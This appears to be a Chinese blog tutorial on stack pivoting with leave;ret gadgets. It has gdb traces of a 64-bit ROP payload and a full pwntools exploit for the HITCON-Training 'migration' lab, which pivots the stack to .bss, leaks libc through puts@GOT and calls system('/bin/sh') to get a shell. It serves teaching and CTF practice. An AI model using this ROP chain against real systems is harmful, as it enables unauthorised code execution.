栈迁移

利用条件:

  1. 能对bss段进行操作(可写、可执行)
  2. 有必要的ROP可用

通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的。下面就一个题目的一个payload进行调试,逐指令理解栈迁移的过程。这里只是通过ROP来实现,还有一种是通过ROP,向bss段伪造栈,这个以后再说。
64位程序,脚本的一部分payload:

stack=rbp-0x70 #指向当前栈顶
# ROPgadget --binary easy_ad --only "pop|ret" | grep rdi
pop_rdi_ret=0x400953
fun_addr=0x400756
leave_ret=0x4007B5
put_plt=0x4005D0p.send('11111111'+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(put_plt)+p64(fun_addr)+5 * '11111111'+p64(stack)+p64(leave_ret))

首先运行到发送payload的地方,查看栈的布局:
rbp、rsp、rip:

RBP: 0x7ffe699c88b0 --> 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c8860 ("11111111S\t@")
RIP: 0x4007b5 (<vul+95>: leave)0x4007aa <vul+84>: mov    edi,0x00x4007af <vul+89>: call   0x400600 <read@plt>0x4007b4 <vul+94>:  nop
=> 0x4007b5 <vul+95>:    leave  0x4007b6 <vul+96>:    ret    0x4007b7 <magic>:  push   rbp0x4007b8 <magic+1>:    mov    rbp,rsp0x4007bb <magic+4>:    mov    edi,0x40097egdb-peda$ stack 15
0000| 0x7ffe699c8860 ("11111111S\t@")
0008| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:  pop    rdi)
0016| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:   push   r12)
0024| 0x7ffe699c8878 --> 0x4005d0 (<puts@plt>:    jmp    QWORD PTR [rip+0x200a42]        # 0x601018)
0032| 0x7ffe699c8880 --> 0x400756 (<vul>:  push   rbp)
0040| 0x7ffe699c8888 ('1' <repeats 40 times>, "`\210\234i\376\177")
0048| 0x7ffe699c8890 ('1' <repeats 32 times>, "`\210\234i\376\177")
0056| 0x7ffe699c8898 ('1' <repeats 24 times>, "`\210\234i\376\177")
0064| 0x7ffe699c88a0 ('1' <repeats 16 times>, "`\210\234i\376\177")
0072| 0x7ffe699c88a8 ("11111111`\210\234i\376\177")
0080| 0x7ffe699c88b0 <--rbp--> 0x7ffe699c8860 ("11111111S\t@")<--rsp
0088| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:  leave)<--返回值

通过泄露rbp得到rbp为0x7ffe699c88d0,通过栈溢出将返回值填充为栈rbp-0x70处,即当前的rsp,这里看到当前rbp–>0x7ffe699c8860 (“11111111S\t@”),0x70是栈的大小,此时我们就将栈顶复制到了rbp的位置,相当于伪造的rbp。接下来执行leave,leave==>mov rsp,rbp;pop rbp

这里说一下栈返回操作,当执行leave 将当前rbp的值赋值给rsp,之后pop rbp将rbp出栈,恢复之前的栈帧,对于 RIP指向的是下一条指令,RSP+1,相当于栈的下一位,执行leave后,栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:   leave)
RIP: 0x4007b6 (<vul+96>: ret)0x4007af <vul+89>:   call   0x400600 <read@plt>0x4007b4 <vul+94>:  nop0x4007b5 <vul+95>:    leave
=> 0x4007b6 <vul+96>:    ret    0x4007b7 <magic>:  push   rbp0x4007b8 <magic+1>:    mov    rbp,rsp0x4007bb <magic+4>:    mov    edi,0x40097e0000| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:   leave)
0008| 0x7ffe699c88c0 --> 0x32 ('2')
0016| 0x7ffe699c88c8 --> 0x0
0024| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:  push   r15)

此时执行leave后,将rsp修改为rbp+1的内容0x7ffe699c88b0 +8=0x7ffe699c88b8(rsp=rbp,后向下移动),rbp出栈变为0x7ffe699c8860,rip指向下一条指令ret,此时在执行ret指令将返回到我们构造好的leave_ret处,再一次leave_ret主要是为了利用伪造的栈里的数据,达到我们的目的,执行ret后栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c88c0 --> 0x32 ('2')
RIP: 0x4007b5 (<vul+95>: leave)0x4007af <vul+89>: call   0x400600 <read@plt>0x4007b4 <vul+94>:  nop
=> 0x4007b5 <vul+95>:    leave  0x4007b6 <vul+96>:    ret    0x4007b7 <magic>:  push   rbp0x4007b8 <magic+1>:    mov    rbp,rsp0000| 0x7ffe699c88c0 --> 0x32 ('2')
0008| 0x7ffe699c88c8 --> 0x0
0016| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:  push   r15)
0024| 0x7ffe699c88d8 --> 0x7fd0834be840 (<__libc_start_main+240>: 

看到,如我们猜想,返回到了leave_ret处,RSP已经变成原来栈里的数据了,再次执行leave,将RSP的值变成RBP,向下移动一位变成0x7ffe699c8860+8=0x7ffe699c8868,即构造的ROP :pop rdi;ret处,RBP出栈变成“11111111”,RIP指向RET,执行后如下,验证是否正确:

RBP: 0x3131313131313131 ('11111111')
RSP: 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:   pop    rdi)
RIP: 0x4007b6 (<vul+96>: ret)0x4007b4 <vul+94>:   nop0x4007b5 <vul+95>:    leave
=> 0x4007b6 <vul+96>:    ret    0x4007b7 <magic>:  push   rbp0x4007b8 <magic+1>:    mov    rbp,rsp0x4007bb <magic+4>:    mov    edi,0x40097e0x4007c0 <magic+9>:   call   0x4005e0 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:  pop    rdi)
0008| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:   push   r12)

可以看到,符合预期,接下来ret会返回到pop rdi的地方执行我们构造好的ROP链去泄露puts的地址,此时就相当于赋值了之前栈的内容,这就是栈迁移的关键地方,两个leave_ret来实现,第一次leave_ret是为了保存栈顶,恢复栈顶(构造的假栈顶),第二次leave_ret是为了跳转到栈顶,利用栈里的内容。

通过调试跟踪,和对栈的指针,寄存器的执行流程要了解,这里的内容就不难理解。

32位栈迁移到bss

例子是HITCON-Traing lab6,可以到这里下载
栈迁移到bss,通过read函数构造栈数据,主要原理就是运用leave ret去控制ebp的值,进而去控制rbp的值,通过两次leave ret实现伪造栈数据执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[40]; // [esp+0h] [ebp-28h] BYREFif ( count != 1337 )exit(1);++count;setvbuf(_bss_start, 0, 2, 0);puts("Try your best :");return read(0, buf, 0x40u);
}

这道题漏洞点很明显,是栈溢出,我们可以通过多次构造栈迁移,将栈迁移到bss段,伪造数据获得libc基址,获得shell。
还是通过调试脚本来理解:

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")def dbg(address=0):if address==0:gdb.attach(p)pause()else:if address > 0xfffff:script="b *{:#x}\nc\n".format(address)else:script="b *$rebase({:#x})\nc\n".format(address)gdb.attach(p, script)
system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)
dbg()
leave_ret = 0x08048418 #程序内部的
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebx_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400 payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)
#gdb.attach(p)
#sleep(0.1)payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
#gdb.attach(p)
#sleep(0.1)puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''
#gdb.attach(p)
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
#sleep(0.1)
p.interactive()"""
0x08048418 : leave ; ret     #用于返回栈
0x0804836d : pop ebx ; ret    #p1ret 用于放参数
0x08048569 : pop esi ; pop edi ; pop ebp ; ret
#p3ret 用于平衡栈,从而继续执行后面的rop
"""

第一段payload:

payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)

通过填充将ebp覆盖成buf1(bss+0x500),后面是readplt+leaveret+read参数,在执行过ebp后main函数的leave ret会将esp=ebp(buf1),esp指向buf1的下一地址,即readplt,pop ebp后,ebp指向buf1:
gdb调试界面,获得一些plt got libc地址供参考:

[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled
system_libc:0x3adb0
read_plt:0x8048380
puts_got:0x8049ff0
puts_plt:0x804838c
puts_libc:0x5fcb0
binsh_libc:0x15bb0b
[DEBUG] Wrote gdb script to '/tmp/pwngI_Zik.gdb'leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebx_ret

执行leave前,0x804a50c 为buf1:

EBP: 0xffbe0df8 --> 0x804a50c --> 0x0
ESP: 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
EIP: 0x8048504 (<main+89>:   leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x80484ff <main+84>: add    esp,0xc0x8048502 <main+87>:   nop0x8048503 <main+88>:  nop
=> 0x8048504 <main+89>:  leave  0x8048505 <main+90>:  ret    0x8048506:   xchg   ax,ax0x8048508:  xchg   ax,ax0x804850a:  xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0004| 0xffbe0dd4 ('a' <repeats 36 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0008| 0xffbe0dd8 ('a' <repeats 32 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0012| 0xffbe0ddc ('a' <repeats 28 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")

执行后,ebp指向buf1,esp指向0x8048380 (readplt,符合预期):

EBP: 0x804a50c --> 0x0
ESP: 0xffbe0dfc --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)
EIP: 0x8048505 (<main+90>:   ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x8048502 <main+87>: nop0x8048503 <main+88>:  nop0x8048504 <main+89>:  leave
=> 0x8048505 <main+90>:  ret    0x8048506:   xchg   ax,ax0x8048508:  xchg   ax,ax0x804850a:  xchg   ax,ax0x804850c:  xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbe0dfc --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)  readplt
0004| 0xffbe0e00 --> 0x8048418 (<deregister_tm_clones+40>:    leave)                                read返回值:leave ret
0008| 0xffbe0e04 --> 0x0                       --|
0012| 0xffbe0e08 --> 0x804a50c --> 0x0           |->read参数
0016| 0xffbe0e0c --> 0x100                     --|
0020| 0xffbe0e10 --> 0x0
0024| 0xffbe0e14 --> 0x0
0028| 0xffbe0e18 --> 0xf7f6f000 --> 0x1b2db0 

之后执行ret,会返回到read,去接收第二段payload

payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)

在接收完第二段payload后会执行我们构造的leave ret=0x08048418,下面是read完第二段payload后,未执行leave:

EBP: 0x804a50c --> 0x804a40c --> 0x0
ESP: 0xffbe0e04 --> 0x0
EIP: 0x8048418 (<deregister_tm_clones+40>:   leave)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x804840e <deregister_tm_clones+30>: push   0x804a00c0x8048413 <deregister_tm_clones+35>: call   eax0x8048415 <deregister_tm_clones+37>:   add    esp,0x10
=> 0x8048418 <deregister_tm_clones+40>:  leave  0x8048419 <deregister_tm_clones+41>:  repz ret 0x804841b <deregister_tm_clones+43>:    nop

现在ebp指向buf1,但bss段buf1处的值被我们填充成了buf2的地址,EIP指向下条指令leave,执行leave后,esp=ebp,esp下移一位到putplt=0x804838c ,pop ebp后ebp指向buf2=0x804a40c ,如下:

EBP: 0x804a40c --> 0x0                        <--buf2
ESP: 0x804a510 --> 0x804838c (add    al,0x8) <--putplt
EIP: 0x8048419 (<deregister_tm_clones+41>:   repz ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x8048413 <deregister_tm_clones+35>: call   eax0x8048415 <deregister_tm_clones+37>:   add    esp,0x100x8048418 <deregister_tm_clones+40>:  leave
=> 0x8048419 <deregister_tm_clones+41>:  repz ret 0x804841b <deregister_tm_clones+43>:    nop0x804841c <deregister_tm_clones+44>:  lea    esi,[esi+eiz*1+0x0]0x8048420 <register_tm_clones>:   mov    eax,0x804a00c0x8048425 <register_tm_clones+5>:    sub    eax,0x804a00c
[------------------------------------stack-------------------------------------]
0000| 0x804a510 --> 0x804838c (add    al,0x8)      putplt
0004| 0x804a514 --> 0x804836d (<_init+33>:    pop    ebx)    pop_edx_ret
0008| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:   push   ebp)       putgot
0012| 0x804a51c --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)  readplt
0016| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>: leave)     leave ret
0020| 0x804a524 --> 0x0
0024| 0x804a528 --> 0x804a40c --> 0x0    参数
0028| 0x804a52c --> 0x100 

执行完ret后,返回到puts函数,输出putgot地址,之后将putsgot弹出栈,ret返回到readplt,如下:

EBP: 0x804a40c --> 0x0      buf2
ESP: 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:    push   ebp)
EIP: 0x804836d (<_init+33>:  pop    ebx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x8048363 <_init+23>:    je     0x804836a <_init+30>0x8048365 <_init+25>:  call   0x80483980x804836a <_init+30>:    add    esp,0x8
=> 0x804836d <_init+33>: pop    ebx      0x804836e <_init+34>:    ret    0x804836f:   add    bh,bh0x8048371:  xor    eax,0x8049fe00x8048376:  jmp    DWORD PTR ds:0x8049fe4
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:   push   ebp)    即将弹出栈,ret返回到readplt
0004| 0x804a51c --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)         readplt
0008| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>: leave)
0012| 0x804a524 --> 0x0
0016| 0x804a528 --> 0x804a40c --> 0x0
0020| 0x804a52c --> 0x100 

返回到read后继续接收第三段payload

payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)

然后执行leave ret,执行之前ebp=buf2,但因为我们在buf2(ebp)处填充的是buf1,所以现在是buf2处内容为buf1地址,执行leave后,esp=ebp,esp下移,指向system,ebp指向buf1,如下:

EBP: 0x804a50c --> 0x804a40c (0x0804a50c)
ESP: 0x804a410 --> 0xf7df6db0 (<__libc_system>:    sub    esp,0xc)
EIP: 0x8048419 (<deregister_tm_clones+41>:   repz ret)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x8048413 <deregister_tm_clones+35>: call   eax0x8048415 <deregister_tm_clones+37>:   add    esp,0x100x8048418 <deregister_tm_clones+40>:  leave
=> 0x8048419 <deregister_tm_clones+41>:  repz ret 0x804841b <deregister_tm_clones+43>:    nop0x804841c <deregister_tm_clones+44>:  lea    esi,[esi+eiz*1+0x0]0x8048420 <register_tm_clones>:   mov    eax,0x804a00c0x8048425 <register_tm_clones+5>:    sub    eax,0x804a00c
[------------------------------------stack-------------------------------------]
0000| 0x804a410 --> 0xf7df6db0 (<__libc_system>:   sub    esp,0xc)      system_addr
0004| 0x804a414 ("bbbb\v{\361\367\223\034\351\367`\375\366\367\301P\342\367\001")       system返回值填充
0008| 0x804a418 --> 0xf7f17b0b ("/bin/sh")   system参数bin/sh
0012| 0x804a41c --> 0xf7e91c93 (<__write_nocancel+25>:    pop    ebx)
0016| 0x804a420 --> 0xf7f6fd60 --> 0xfbad2887
0020| 0x804a424 --> 0xf7e250c1 (<_IO_new_file_write+97>:  add    esp,0x10)
0024| 0x804a428 --> 0x1
0028| 0x804a42c --> 0xf7f6fda7 --> 0xf708700a 

到这里在执行ret就会返回到system函数,执行system(“bin/sh”)获得shell。

-------------------------------------code-------------------------------------]0xf7df6da7 <cancel_handler+231>:   pop    ebp0xf7df6da8 <cancel_handler+232>:   ret    0xf7df6da9:  lea    esi,[esi+eiz*1+0x0]
=> 0xf7df6db0 <__libc_system>:    sub    esp,0xc0xf7df6db3 <__libc_system+3>:  mov    eax,DWORD PTR [esp+0x10]0xf7df6db7 <__libc_system+7>:    call   0xf7edbc5d <__x86.get_pc_thunk.dx>0xf7df6dbc <__libc_system+12>:    add    edx,0x1782440xf7df6dc2 <__libc_system+18>:    test   eax,eax

exp运行结果:

$ ls
[DEBUG] Sent 0x3 bytes:'ls\n'
[DEBUG] Received 0x61 bytes:'core\t  migration\t migration.c   peda-session-migration.txt\n''makefile  migration1.py  migration.py\n'
core      migration     migration.c   peda-session-migration.txt
makefile  migration1.py  migration.py
$  

总结利用流程:

  1. 溢出填充ebp=buf1,将ebp迁移到bss段。利用read函数构造栈数据(payload2)
  2. leave ret
  3. 重新溢出ebp为buf2(bss),利用payload2泄露puts函数地址,计算libc基址。再次构造栈数据(payload3)
  4. leave ret
  5. 重新溢出ebp为buf1(bss),利用payload3获得shell。

64位栈迁移

64位栈迁移和32位差不多,只不过64位是通过寄存器进行传参,64位程序 传参的时候是 从左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中!其实最开始的那个程序就是64位的栈迁移!

参考连接

栈迁移到bss段:https://www.cnblogs.com/yichen115/p/12450517.html

栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程相关推荐

  1. rsp rbp 寄存器用途

    概念 在最新的 x86_x64 架构中,通常用 rbp.rsp 这两个寄存器来保存进程栈的状态(需要硬件支持). 其中 rbp 保存的是栈中当前执行函数的基本地址,当前执行函数所有存储在栈上的数据都要 ...

  2. MSVC X64 函数中的 RSP, RBP 和 Calling Convention

    上一篇 博文提到了 X64 下 MSVC 如何传递参数,但是没有涉及到当参数个数大于 4 的时候如何分配内存空间的问题,接下来我们来探究这个问题. RSP 和 RBP 按照上面提到的博文,我们进行如下 ...

  3. koa2 mysql_koa2+vue+mysql 全栈开发记录

    koa2+vue2+mysql 全栈开发记录 基于想要自己制作一个个人项目为由,于是有了这么一个开发记录(梳理开发过程也是一个知识巩固的过程) koa2+vue2+mysql 个人的一个通用DEMO( ...

  4. Python全栈开发记录_第一篇(循环练习及杂碎的知识点)

    Python全栈开发记录只为记录全栈开发学习过程中一些难和重要的知识点,还有问题及课后题目,以供自己和他人共同查看.(该篇代码行数大约:300行) 知识点1:优先级:not>and 短路原则:a ...

  5. 语言都是相通的,学好一门语言,再学第二门语言就很简单,记录一下我复习c语言的过程。...

    语言都是相通的,学好一门语言,再学第二门语言就很简单,记录一下我复习c语言的过程. 为了将本人的python培训提高一个层次,本人最近买了很多算法的书. 这个书上的代码基本都是c语言实现的,c语言很久 ...

  6. oracle 9i 手工建库,简单记录Oracle 9i数据库手工建库过程

    简单记录Oracle 9i数据库手工建库过程Oracle 9i手工建库 By Oracle老菜 今天客户要用oracle 9.2.0.5,aix 6.1已经不支持了,只好从别的数据库把软件拷贝过来重编 ...

  7. 记录第一次使用nvidia tao训练模型的过程

    记录第一次使用nvidia tao训练模型的过程 搭建NVIDIA TAO环境 编辑~/.tao_mounts.json,将自己的项目目录映射到docker中的目录 Nvidia TAO是NVIDIA ...

  8. 维修记录,移动升级千兆宽带过程中的坑

    维修记录,移动升级千兆宽带过程中的坑 一.升级千兆的原因 为什么想着去升级千兆网线. 二.升级千兆业务的吐槽 槽点一:套餐捆绑销售 槽点二:路由捆绑销售 三.升级千兆的上门服务吐槽 槽点三:四线接头 ...

  9. 记录洛谷冰雹猜想的实现过程

    记录C语言冰雹猜想的实现过程 文章目录 记录C语言冰雹猜想的实现过程 问题引入 一.冰雹猜想问题分析 二.代码实现 写在最后 问题引入 冰雹猜想:任一正整数x,如果x是奇数就乘以3加1,如果是偶数就除 ...

最新文章

  1. faster rcnn第二阶段loss出现nan_利用Faster_Rcnn训练模型时出现的问题
  2. 用navicate 连接本地数据库提示用户名/口令无效
  3. Python学习笔记__4章 函数式编程
  4. MSM8953 core 3.0 usb otg USB 笔记
  5. macbook不能进系统 备份数据_外卖骑手,困在系统里;绩效考核与奖惩激励,不能困在数据里...
  6. robocopy file backup script
  7. Lilypad Pondg(POJ-3171)
  8. Git详细安装教程,翻译
  9. vim golang 插件
  10. python对象传递_Python参数传递对象的引用原理解析
  11. 地理信息地图标记KML与KMZ的区别
  12. netperf mips 移植
  13. PowerPC技术与市场杂谈
  14. 算加权成绩(MATLAB)
  15. pinia - 大菠萝的使用
  16. 债券数据集:绿色债券数据集、历时新发、发行债券、DCM定价估值四大指标数据
  17. 计算机网络分层汇聚层,大型局域网通常划分为核心层、汇聚层和接入层,以下关于各个网络层次的描述中,不 - 问答库...
  18. 【eCPRI】(1)基本概念
  19. 关于程序员网站,这七家超级实用!(来自36氪推荐)
  20. 推荐一个好用的 所见即所得的 markdown 编辑器 Mark Text

热门文章

  1. 国赛高教杯使用python/matlab必会基础数学建模-数据处理模块(课程4)
  2. react中使用lazy函数进行路由懒加载
  3. 阿里云面经之实习二面
  4. css3边框圆角、背景
  5. C++计算机软件系统
  6. WAI-ARIA无障碍网页应用 HTML5 设计辅助功能
  7. fluid mask 3_CSS3 Fluid Layout和Media Queries:一种响应式Web设计的简单方法
  8. java基于ssm开发的多商家书店商城系统
  9. CocosCreator高斯模糊深度优化版
  10. 有关HTML的学习笔记